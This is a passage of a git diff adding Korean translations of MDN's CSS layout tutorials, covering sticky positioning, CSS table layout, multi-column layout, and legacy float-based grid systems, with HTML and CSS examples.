+&lt;div class="positioned"&gt;흡착&lt;/div&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;       </pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+.positioned {
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css">.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('흡착_1', '100%', 200) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 포지셔닝에 대해 더 알아보고 싶다면 <a href="/kr/docs/Learn/CSS/CSS_layout/위치잡기">포지셔닝</a> 단원을 보라.</p>
+</div>
+
+<h2 id="테이블_레이아웃">테이블 레이아웃</h2>
+
+<p>HTML 테이블은 표로 나타낸 데이터를 표시하기에는 무난했다. 그러나 (수년 전, 심지어 기초적인 CSS가 여러 브라우저에서 안정적으로 지원되기 이전에도) 웹 개발자들은 머리글, 바닥글, 서로 다른 단 등을 여러가지 테이블 행과 열에 집어넣어 웹페이지 전체 레이아웃을 짜는데 테이블을 사용하기도 했다. 이것은 당시에는 먹혔지만, 많은 문제가 상존했다. 테이블 레이아웃은 유연하지 않고, 마크업이 과도하고, 디버그하기 어렵고, 의미론적으로 맞지 않았다(예: 스크린 리더 사용자는 테이블 레이아웃을 탐색하는 데 문제가 있다).</p>
+
+<p>테이블 마크업을 사용할 때 테이블이 웹 페이지에 보여지는 방식의 재원(財源)은 테이블 레이아웃을 정의하는 CSS 속성 집합이다. 이러한 속성은 테이블이 아닌 요소를 배치하는 데 사용할 수 있으며, 이 용법은 때때로 "CSS 테이블 용법"으로 기술된다.</p>
+
+<p>아래 예는 이러한 용법을 보여준다. 레이아웃에 CSS 테이블을 사용하는 것은 이 시점에서 낡은 메서드로 간주되어야 한다. flexbox 또는 그리드 레이아웃이 지원되지 않던 매우 오래된 브라우저를 사용하는 사람의 경우에 해당된다.</p>
+
+<p>예제를 살펴보자. 우선, HTML 양식을 생성하는 몇 가지 간단한 마크업 사례다. 개별 입력 요소에는 레이블이 달려있으며, 단락 안에는 캡션도 포함시켰다. 각 한 쌍을 이루는 레이블과 입력 요소는 레이아웃 목적에 따라 {{htmlelement("div")}} 요소에 둘러싸여 있다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;우선, 이름과 나이를 말씀해주세요&lt;/p&gt;
+  &lt;div&gt;
+    &lt;label for="이름"&gt;이름:&lt;/label&gt;
+    &lt;input type="text" id="이름"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="성"&gt;성:&lt;/label&gt;
+    &lt;input type="text" id="성"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="나이"&gt;나이:&lt;/label&gt;
+    &lt;input type="text" id="나이"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>이제 우리 예제에 해당되는 CSS 차례다. CSS의 대부분은 {{cssxref("display")}} 속성을 사용한 것을 제외하면 대체로 평범한 내용이다. {{htmlelement("form")}}와 복수의 {{htmlelement("div")}}, {{htmlelement("label")}}, {{htmlelement("input")}}는 각기 테이블과 복수의 테이블 행, 테이블 셀을 표시하라는 주문을 받는다. 기본적으로 그들은 HTML 테이블 마크업과 같이 동작하며 기본값으로 레이블과 입력 양식 요소를 멋지게 정렬시킨다. 이제 우리가 해야할 일은 모든 요소가 좀더 멋지게 보이도록 크기와 여백을 조금 추가하는 것이다. 그러면 일이 마무리된다.</p>
+
+<p>눈치 챘겠지만, 캡션 단락은 <code>display: table-caption;</code>가 부여되어 테이블 {{htmlelement("caption")}}과 같이 동작하게 만들었고, 또한 <code>display: table-caption;</code>를 부여하며 해당 마크업이 소스 코드에서 <code>&lt;input&gt;</code> 요소보다 선행함에도 해당 캡션이 스타일 목적에 따라 테이블 하단에 놓이도록 했다. 이렇듯 약간의 유연성이 허용된다.</p>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  display: table;
+  margin: 0 auto;
+}
+
+form div {
+  display: table-row;
+}
+
+form label, form input {
+  display: table-cell;
+  margin-bottom: 10px;
+}
+
+form label {
+  width: 200px;
+  padding-right: 5%;
+  text-align: right;
+}
+
+form input {
+  width: 300px;
+}
+
+form p {
+  display: table-caption;
+  caption-side: bottom;
+  width: 300px;
+  color: #999;
+  font-style: italic;
+}</pre>
+
+<p>이것은 우리에게 다음과 같은 결과를 제공합니다.</p>
+
+<p>{{ EmbedLiveSample('테이블_레이아웃', '100%', '170') }}</p>
+
+<p>이 예제 역시 여기 <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">CSS 테이블 예제</a>에서 라이브로 볼 수 있고, 이곳 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">소스 코드</a>에서도 역시 볼 수 있다.</p>
+
+<h2 id="다단_레이아웃">다단 레이아웃</h2>
+
+<p>다단 레이아웃 모듈은 텍스트가 신문지상에 나열되는 방식과 비슷하게 내용을 단 형태로 레이아웃할 수 있는 방법을 제공한다. 단을 따라 위아래 읽기는 사용자가 위아래로 스크롤하도록 강제하길 원하지 않는다면 웹 상황에서 덜 유용하다. 다만 콘텐츠를 단에 배치하는 것은 유용한 기술일 수 있다.</p>
+
+<p>한 블록을 다단 컨테이너 속으로 들여넣으려면 {{cssxref("column-count")}} 속성을 사용하여 브라우저에게 우리가 몇 단으로 나누길 원하는지 밝히거나 {{cssxref("column-width")}} 속성을 사용하여 브라우저에게 몇 단이 됐건 최소 해당 너비만한 단으로 컨테이너를 채우라고 말하면 된다.</p>
+
+<p>아래 예제에서 내부에 일명 <code>container</code> 클래스 해당하는 <code>&lt;div&gt;</code> 요소를 포함하는 HTML 블록을 가지고 시작한다.</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+    &lt;h1&gt;다단 레이아웃&lt;/h1&gt;
+
+    &lt;p&gt;단락 1.&lt;/p&gt;
+    &lt;p&gt;단락 2.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<p>우리는 해당 컨테이너에 200픽셀의 단 너비를 사용해서 브라우저가 컨테이너에 맞아 떨어지도록 최대 200픽셀의 단을 만들며, 그 뒤에 생성된 단 사이 나머지 공간을 나눠쓰게 된다.</p>
+
+<div id="다단_1">
+<div class="hidden">
+<h6 id="다단_예제">다단 예제</h6>
+
+<pre class="brush: html">    &lt;div class="container"&gt;
+        &lt;h1&gt;다단 레이아웃&lt;/h1&gt;
+
+        &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+
+        &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+    &lt;/div&gt;
+        </pre>
+
+<pre class="brush: css">body { max-width: 800px; margin: 0 auto; } </pre>
+</div>
+
+<pre class="brush: css">    .container {
+        column-width: 200px;
+    }</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다단_1', '100%', 200) }}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 글에서는 알아야 할 모든 레이아웃 기술에 대한 요약을 간단하게 제공했습니다. 개별 기술에 대한 자세한 내용을 계속 읽어보세요!</p>
+
+<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">보통 흐름(normal flow)</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">그리드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">포지셔닝</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Responsive_Design">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EB%AF%B8%EB%94%94%EC%96%B4_%EC%BF%BC%EB%A6%AC_%EC%B4%88%EB%B3%B4%EC%9E%90_%EC%95%88%EB%82%B4%EC%84%9C">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">레이아웃 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/legacy_layout_methods/index.html b/files/ko/learn/css/css_layout/legacy_layout_methods/index.html
new file mode 100644
index 0000000000..aca6565fd7
--- /dev/null
+++ b/files/ko/learn/css/css_layout/legacy_layout_methods/index.html
@@ -0,0 +1,588 @@
+---
+title: 레거시 조판 메서드
+slug: Learn/CSS/CSS_layout/Legacy_Layout_Methods
+tags:
+  - 격자 시스템
+  - 레거시
+  - 부동체
+  - 씨에스에스
+  - 안내서
+  - 조판
+  - 초보자
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">격자 시스템은 씨에스에스 조판에서 사용되는 매우 일반적인 기능이며, 씨에스에스 격자 조판 이전에는 부동체 또는 기타 조판 기능을 이용하여 격자 조판이 구현되는 경향이 있었습니다. 당신의 조판을 정해진 수의 열(예를 들어 4, 6 또는 12열)이라 상상한 뒤 당신의 콘텐츠 열을 그 가상의 열 안에 끼워맞춥니다. 이 문서에서 우리는 이 오래된 메서드가 어떻게 작동하는지 탐구할 것입니다. 이는 여러분이 오래된 프로젝트에 몸을 담게 될 경우에 그들 메서드의 사용 방법에 대한 이해를 돕기 위함입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML 기본 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">에이치티엠엘 입문</a> 학습), 씨에스에스의 작동 방식 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">씨에스에스 입문 </a> 및 (<a href="/ko/docs/Learn/CSS/Styling_boxes">박스 양식 지정</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>씨에스에스 격자 조판 이전에 사용된 격자 조판 시스템의 기본 개념을 브라우저에서 사용할 수 있습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="씨에스에스_격자_조판_이전의_조판_및_격자_시스템">씨에스에스 격자 조판 이전의 조판 및 격자 시스템</h2>
+
+<p>씨에스에스가 아주 최근까지 내장된 격자 시스템을 갖고 있지 않았고, 그 대신 격자와 같은 디자인 생성을 위해 최적화에 못 미치는 다양한 방법을 사용했다니 디자인 배경의 경력자 관점에서 보면 놀랍게 보일 듯합니다. 우리는 이제 이것을 "래거시"라고 부릅니다.</p>
+
+<p>새로운 프로젝트의 경우 모든 조판의 기초를 형성하기 위해 대체로 씨에스에스 격자 조판이 하나 이상의 다른 현대 조판 메서드와 연동되어 사용됩니다. 그러나 여러분은 이러한 레거시 메서드를 사용하는 "격자 시스템"을 수시로 접하게 될겁니다. 그들 레거시 메서드의 작동 방식, 그리고 씨에스에스 격자 조판과 다른 이유에 대해 이해할 가치가 있습니다.</p>
+
+<p>이번 단원은 부동체와 가변상자 작동 방식을 기반으로 한 격자 시스템과 격자 프레임워크가 어떻게 작동하는지 설명합니다. 당신이 격자 조판을 공부한 상태라면 이 모든 것이 얼마나 복잡해 보이는지 놀랄 겁니다! 이러한 지식은 새로운 메서드를 지원하지 않는 브라우저를 위한 대체 코드를 작성해야 할 경우에 도움이 될 뿐만 아니라 이러한 유형의 시스템을 사용하는 기존 프로젝트에서 작업할 수 있게 해줄 것입니다.</p>
+
+<p>우리가 이들 격자 시스템을 탐구할 때, 그것들 중 어느 것도 씨에스에스 격자 조판(CSS Grid Layout)이 격자를 만드는 방식으로 격자를 만들지는 않는다는 사실을 염두에 두어야 합니다. 그들은 항목의 크기를 부여하고, 항목 무리 주변을 밀어내어 격자 <em>모양</em>처럼 정렬해 보여주는 식으로 작동합니다.</p>
+
+<h2 id="2열_조판">2열 조판</h2>
+
+<p>가능한 가장 간단한 예시인 두 개의 열 조판으로 시작하겠습니다. 아래 내용을 따라하려면 당신의 컴퓨터에 <code>index.html</code> 파일을 새로 작성하여, 거기에 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">간단한 HTML 템플릿</a>으로 채우고, 파일 내부의 적절한 위치에 아래 코드를 삽입하면 됩니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.</p>
+
+<p>우선, 우리는 칼럼에 넣을 몇 가지 콘텐츠가 필요합니다. 현재 에이치티엠엘의 바디 내부에 있는 것을 아래 내용으로 대체하십시요:</p>
+
+<pre class="brush: html">&lt;h1&gt;2열 조판 예제&lt;/h1&gt;
+&lt;div&gt;
+  &lt;h2&gt;첫 번째 열&lt;/h2&gt;
+  &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;두 번째 열&lt;/h2&gt;
+  &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>각 열에는 자체 콘텐츠를 포함하게 되고, 모든 콘텐츠를 한꺼번에 조작할 수 있게 해주는 외부 요소가 필요합니다. 이번 예제에서 우리는 {{htmlelement("div")}}를 선택했지만, 당신은 {{htmlelement("article")}}와 복수의 {{htmlelement("section")}}, {{htmlelement("aside")}}, 그 밖에 무엇이 됐건 한층 의미적으로 적절한 것을 선택할 수 있습니다.</p>
+
+<p>이제 씨에스에스 내용입니다. 우선 다음을 HTML에 적용해 몇 가지 기본적인 설정을 제공합니다.</p>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+}</pre>
+
+<p>에이치티엠엘 바디 요소는 900px의 너비가 될 때까지 뷰포트 너비의 90%를 차지할 것이며, 이 경우 그 너비에 고정될 것이며, 뷰포트 안에 중심부에 자신을 위치시킬 겁니다. 기본값으로 바디 요소의 자녀들({{htmlelement("h1")}}와 두 개의 {{htmlelement("div")}}는 바디 너비 100%까지 확장될 것입니다. 두 개의 {{htmlelement("div")}}가 나란히 부동하길 원한다면, 자녀 요소의 너비를 부모 요소의 너비의 총합계가 100% 또는 그 이하로 설정해 상대 요소와 나란히 들어맞을 수 있도록 해야 합니다. 다음을 당신의 씨에스에스의 맨 아래에 추가하세요:</p>
+
+<pre class="brush: css">div:nth-of-type(1) {
+  width: 48%;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+}</pre>
+
+<p>여기서 우리는 두 요소의 너비를 부모 요소의 48%로 설정했습니다. 너비의 총합은 96%로써 결국 4% 남는 공간이 두 열 사이의 배수구 역할을 하게 됩니다. 이제 우리는 열을 부동(浮動)시킬 필요가 있습니다. 다음과 같이:</p>
+
+<pre class="brush: css">div:nth-of-type(1) {
+  width: 48%;
+  float: left;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+  float: right;
+}</pre>
+
+<p>이 모든 것을 종합하면 다음과 같은 결과가 나와야 합니다.</p>
+
+<div id="부동_2열">
+<div class="hidden">
+<h6 id="단순한_2열_조판">단순한 2열 조판</h6>
+
+<pre class="brush: html">&lt;h1&gt;2 column layout example&lt;/h1&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;첫 번째 열&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;두 번째 열&lt;/h2&gt;
+  &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+}
+
+div:nth-of-type(1) {
+  width: 48%;
+  float: left;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+  float: right;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('부동_2열', '100%', 520) }}</p>
+
+<p>여기서 여러분은 우리가 모든 너비에 대해 백분율을 사용하고 있음을 알아차릴 것입니다. 이것은 <strong>liquid layout</strong>을 생성하기 때문에 꽤 좋은 전략입니다. 이것은 서로 다른 화면 크기에 적응하고 더 작은 화면 크기에서 열 너비에 대해 동일한 비율을 유지하게 됩니다. 브라우저 창의 너비를 조정해 보십시오. 이같은 특징은 반응형 웹 디자인을 위한 귀중한 도구입니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 이 예제가 작종하는 장면을 여기서 <a href="http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a> 볼 수 있습니다. (또한, 여기 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html">소스 코드</a>)도 있다.</p>
+</div>
+
+<h2 id="간단한_레거시_격자_프레임워크_생성하기">간단한 레거시 격자 프레임워크 생성하기</h2>
+
+<p>레거시 프레임 워크의 대부분은 격자처럼 보이는 것을 만들기 위해한 열을 다른 열 옆에 부동시키기 위해 {{cssxref("float")}} 속성의 동작을 이용합니다. 부동을 포함한 격자 생성 과정을 통해 이 방법이 어떻게 작동하는지 여러분에게 보여주고, 여러분이 <a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동 및 해제</a> 단원에서 배운 것을 바탕으로 능력을 배가하기 위해 더 발전된 개념을 도입합니다.</p>
+
+<p>격자 프레임워크를 생성할 수 있는 가장 편리하게 유형은 고정 너비입니다. 즉, 우리는 우리가 목표로 하는 디자인의 총 너비, 우리가 원하는 열의 수, 배수로의 너비 및 열의 너비를 계산할 필요가 있습니다. 대신 브라우저 너비에 따라 커지고 축소되는 열이 있는 격자상에 디자인을 배치하기로 한다면 열 무리에 대한 백분율 너비와 열 사이 배수로 너비를 계산해야 할 겁니다.</p>
+
+<p>다음 절에서는 두 가지를 어떻게 생성할지 살펴볼 것입니다. 우리는 12개의 열 격자를 생성할 것입니다. 12열이 6, 4, 3, 2로 잘 나눌 수 있다는 점을 감안할 때, 매우 일반적인 선택입니다.</p>
+
+<h3 id="간단한_고정_너비_격자">간단한 고정 너비 격자</h3>
+
+<p>먼저 고정 너비 열을 사용하는 격자 시스템을 생성해 봅시다.</p>
+
+<p>먼저, 우리 예제인 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> 사본 파일을 만듭니다. 여기에는 바디 부분에 다음과 같은 마크업을 포함하고 있습니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="col"&gt;1&lt;/div&gt;
+    &lt;div class="col"&gt;2&lt;/div&gt;
+    &lt;div class="col"&gt;3&lt;/div&gt;
+    &lt;div class="col"&gt;4&lt;/div&gt;
+    &lt;div class="col"&gt;5&lt;/div&gt;
+    &lt;div class="col"&gt;6&lt;/div&gt;
+    &lt;div class="col"&gt;7&lt;/div&gt;
+    &lt;div class="col"&gt;8&lt;/div&gt;
+    &lt;div class="col"&gt;9&lt;/div&gt;
+    &lt;div class="col"&gt;10&lt;/div&gt;
+    &lt;div class="col"&gt;11&lt;/div&gt;
+    &lt;div class="col"&gt;12&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="col span1"&gt;13&lt;/div&gt;
+    &lt;div class="col span6"&gt;14&lt;/div&gt;
+    &lt;div class="col span3"&gt;15&lt;/div&gt;
+    &lt;div class="col span2"&gt;16&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>우리의 목표는 이것을 12열 격자상에 2행 격자를 시연하는 것입니다. 상단 행은 개별 열의 크기를 나타내고 두 번째 행은 격자 크기가 서로 다른 영역입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p>
+
+<p>{{htmlelement("style")}} 요소에는 외곽(래퍼) 컨테이너에 980픽셀의 너비를 부여하는 아래와 같은 코드를 추가하고 오른쪽에 패딩으로는 20픽셀 우측을 추가합니다. 이로써 열 및 배수로의 총 너비를 위해 960픽셀이 주어집니다. 이 경우, 사이트의 모든 요소에 {{cssxref("box-sizing")}}을 <code>border-box</code>로 설정했기 때문에 패딩은 총 콘텐츠 너비에서 제외할 수 있습니다(자세한 설명은 <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">상자 모델의 전면 변경</a>을 참조하세요).</p>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+
+body {
+  width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 20px;
+}</pre>
+
+<p>이제 격자의 각 행을 둘러싸는 행 컨테이너를 사용하여 한 행을 다른 행으로부터 정리하여 구분합니다. 다음과 같은 규칙을 이전 규칙 아래에 추가하십시요:</p>
+
+<pre class="brush: css">.row {
+  clear: both;
+}</pre>
+
+<p>이렇게 정리를 적용한다는 것은 요소 무리가 딸린 각각의 행을 요소 무리로 가득 채울 필요가 없다는 것을 의미합니다. 행은 계속 분리된 채로 있으며, 서로 간섭하지 않습니다.</p>
+
+<p>열 사이의 배수로는 20픽셀 너비입니다. 컨테이너의 우측 편에 패딩 20픽셀을 부여해 균형을 잡기 위해 첫 번째 열을 포함하여 각 열의 왼편에 여백의 형태로 배수로를 생성했습니다. 그래서 우리는 총 12개의 배수로 가지고 있습니다. 따라서 12 x 20 = 240입니다.</p>
+
+<p>우리는 총 너비 960 픽셀에서 배수로 부분을 빼야 함으로 우리의 열 무리를 위해 720픽셀이 주어집니다. 당장에 그것을 12로 나눈다면, 각 열은 60 픽셀이어야 한다는 것을 알 수 있습니다.</p>
+
+<p>다음 단계는 클래스 <code>.col</code>에 대한 규칙을 생성하는 일입니다. 동 클래스에 속한 요소를 왼쪽으로 부동시키고, 배수구를 형성하기 위해 20픽셀의 {{cssxref("margin-left")}}와 60픽셀의 {{cssxref("width")}} 값을 동 요소에 부여합니다. 다음 규칙을 당신의 씨에스에스의 맨 아래에 추가하십시요:</p>
+
+<pre class="brush: css">.col {
+  float: left;
+  margin-left: 20px;
+  width: 60px;
+  background: rgb(255, 150, 150);
+}</pre>
+
+<p>이제 단일 열 무리 형태의 상단 행은 격자처럼 깔끔하게 배치됩니다.</p>
+
+<div class="note">
+<p><strong>주석</strong>: 각 열에 밝은 빨간색 색상을 부여하여 각 공간이 얼마나 많은지 정확하게 볼 수 있습니다.</p>
+</div>
+
+<p>두 개 이상의 열을 하나로 합치길 원하는 조판 컨테이너에 대해선 해당 컨테이너에 {{cssxref("width")}} 값을 필요한(합치기 할) 열 갯수에 맞춰(아울러 열 사이 배수구 숫자까지 포함해) 조정하기 위해 특별한 클래스를 부여할 필요가 있습니다. 우리는 컨테이너 무리가 2열에서 12열까지 (원하는 열 갯수만큼) 하나로 합치기할 수 있도록 추가 클래스를 만들 필요가 있습니다. 각 열의 너비는 (하나로 합쳐질) 해당 열 갯수의 열 너비와 배수구 너비를 합산한 결과입니다. 여기서 배수구 숫자는 항상 열 갯수에서 하나가 빠집니다.</p>
+
+<p>당신의 씨에스에스 맨 아래에 다음을 추가하십시요.</p>
+
+<pre class="brush: css">/* Two column widths (120px) plus one gutter width (20px) */
+.col.span2 { width: 140px; }
+/* Three column widths (180px) plus two gutter widths (40px) */
+.col.span3 { width: 220px; }
+/* And so on... */
+.col.span4 { width: 300px; }
+.col.span5 { width: 380px; }
+.col.span6 { width: 460px; }
+.col.span7 { width: 540px; }
+.col.span8 { width: 620px; }
+.col.span9 { width: 700px; }
+.col.span10 { width: 780px; }
+.col.span11 { width: 860px; }
+.col.span12 { width: 940px; }</pre>
+
+<p>이러한 클래스를 생성해 놓았다면 격자에 서로 다른 너비의 열 무리를 배치할 수 있습니다. 페이지를 저장하고 브라우저에 불러들여 효과를 확인하십시오.</p>
+
+<div class="note">
+<p><strong>참조</strong>: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">완성된 버전</a>과 비교해보라. (<a href="http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">라이브로도 보세요</a>).</p>
+</div>
+
+<p>당신의 요소 무리에 적용한 클래스를 수정하거나 일부 컨테이너를 추가 및 제거해보며 당신이 어떻게 조판에 변경을 가할 수 있는지 확인하십시오 예를 들어 두 번째 행을 이렇게 만들 수 있습니다:</p>
+
+<pre class="brush: css">&lt;div class="row"&gt;
+  &lt;div class="col span8"&gt;13&lt;/div&gt;
+  &lt;div class="col span4"&gt;14&lt;/div&gt;
+&lt;/div&gt;</pre>
+
